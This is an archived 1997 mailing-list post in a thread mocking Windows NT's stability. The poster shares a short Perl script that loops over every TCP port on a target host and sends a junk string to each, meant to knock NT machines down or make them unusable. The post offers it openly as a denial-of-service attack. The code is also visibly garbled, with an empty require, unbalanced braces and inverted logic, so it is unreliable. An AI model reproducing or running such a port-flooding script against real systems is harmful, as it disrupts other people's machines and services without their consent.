Re: NT basically sucks

ADAM Sulmicki (
Tue, 28 Jan 1997 19:39:11 -0500 (EST)

On Tue, 28 Jan 1997, Alexander Sanda wrote:

->In article <>,
-> (Harald Koenig) wrote:
->>very important, isn't it?
->>and remember that you have (or can get) all the sources for Linux
->>and if there is a bug you either can fix it yourself, ask/hire someone
->>to fix it or just ask The Net [tm] for help.
->>did you every try to contact MickeySoft and ask for immediate help
->>(say within 4 weeks;) ?
->Well, in _this_ case (the RPCSS problem) their reaction was quite
->fast. A hotfix is already available at the M$ ftp site.

So? it fix just one port. It cames out it was just top of hill.
try it on port 1031 now ;)

or simply try this program, it should kill any non C2 certified
NT box -- that is with netcard and floppy

a) maybe not necessarily kill, but make it pretty unusable anyway
b) you need run some inet services
c) there are at least two other know attacks -- it could be more
since I checked it last time this morning --
for example: very simple DNS denial of service attack


use Socket;
use FileHandle;
require "";

$ILoveBill = $ARGV[0] && shift;

$verbose = 0; # tell me what you're hitting
$knownports = 0; # don't hit known problem ports
for ($port = $0; $port<65535; $port++)

if ($knownports && ($port == 135 || $port== 1031)) {
$fh = chat::open_port($ILoveBill, $port);
chat::print ($fh,"Windows NT is the platform of the future");
if ($verbose) {
print "Trying port: $port\n\n";


linux has no problem at all, the load would not exceed 0.00 but for [T]NT
you will get 100% quite likely when you will go thru 53,135 or 1000-1250